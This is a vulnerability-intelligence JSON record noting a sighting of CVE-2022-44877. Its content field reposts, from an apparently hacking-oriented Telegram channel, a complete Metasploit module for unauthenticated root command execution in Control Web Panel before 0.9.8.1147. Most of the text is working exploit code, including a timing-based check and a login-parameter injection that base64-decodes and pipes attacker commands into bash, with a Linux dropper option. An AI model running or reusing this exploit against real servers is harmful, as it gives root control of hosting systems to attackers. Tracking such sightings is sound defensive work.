{"uuid": "0af9dc35-4f85-4e19-8afc-139b8074ccc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-44877", "type": "seen", "source": "https://t.me/hacking_Attack/88124", "content": "Exploit Collector\nControl Web Panel Unauthenticated Remote Command Execution\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png Control Web Panel versions prior to 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful exploitation results in code execution as the root user. The results of the command are not contained within the HTTP response and the request will block while the command is running.\n\nSHA-256 | 00cb85e5ab25f2d5091aa8c72d9d5252d08919dce9dbd37743bea7469e5dbc51Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule &lt; Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' =&gt; 'CWP login.php Unauthenticated RCE',\n'Description' =&gt; %q{\nControl Web Panel versions &lt; 0.9.8.1147 are vulnerable to\nunauthenticated OS command injection. Successful exploitation results\nin code execution as the root user. The results of the command are not\ncontained within the HTTP response and the request will block while\nthe command is running.\n},\n'Author' =&gt; [\n'Spencer McIntyre', # metasploit module\n'Numan T\u00fcrle' # vulnerability discovery\n],\n'References' =&gt; [\n[ 'CVE', '2022-44877' ],\n[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],\n[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]\n],\n'DisclosureDate' =&gt; '2023-01-05',\n'License' =&gt; MSF_LICENSE,\n'Platform' =&gt; ['unix', 'linux'],\n'Arch' =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Privileged' =&gt; true,\n'Targets' =&gt; [\n[\n'Unix Command',\n{\n'Platform' =&gt; 'unix',\n'Arch' =&gt; ARCH_CMD,\n'Type' =&gt; :unix_cmd\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' =&gt; 'linux',\n'Arch' =&gt; [ARCH_X86, ARCH_X64],\n'Type' =&gt; :linux_dropper\n}\n]\n],\n'DefaultTarget' =&gt; 0,\n'DefaultOptions' =&gt; {\n'SSL' =&gt; true\n},\n'Notes' =&gt; {\n'Stability' =&gt; [CRASH_SAFE],\n'Reliability' =&gt; [REPEATABLE_SESSION],\n'SideEffects' =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\n\nregister_options([\nOpt::RPORT(2031),\nOptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])\n])\nend\n\ndef check\nsleep_time = rand(5..10)\n\n_, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nvprint_status(\"Elapsed time: #{elapsed_time} seconds\")\n\nunless elapsed_time &gt; sleep_time\nreturn CheckCode::Safe('Failed to test command injection.')\nend\n\nCheckCode::Appears('Successfully tested command injection.')\nrescue Msf::Exploit::Failed\nreturn CheckCode::Safe('Failed to test command injection.')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\ncase target['Type']\nwhen :unix_cmd\nif execute_command(payload.encoded)\nprint_good(\"Successfully executed command: #{payload.encoded}\")\nend\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\ndef execute_command(cmd, _opts = {})\nvprint_status(\"Executing command: #{cmd}\")\n\nres = send_request_cgi(\n'method' =&gt; 'POST',\n'uri' =&gt; normalize_uri(target_uri.path) + \"?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)\",\n'vars_post' =&gt; {\n'username' =&gt; 'root', # *must* be root\n'password' =&gt; rand_text_alphanumeric(4..16),\n'commit' =&gt; 'Login'\n}\n)\n\n# the command will either cause the response to timeout or return a 302\nreturn if res.nil?\nreturn if res.code == 302 &amp;&amp; res.headers['Location'].include?('login=failed')\n\nfail_with(Failure::UnexpectedReply, \"The HTTP server replied with a status of #{res.code}\")\nend\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:05.452144Z"}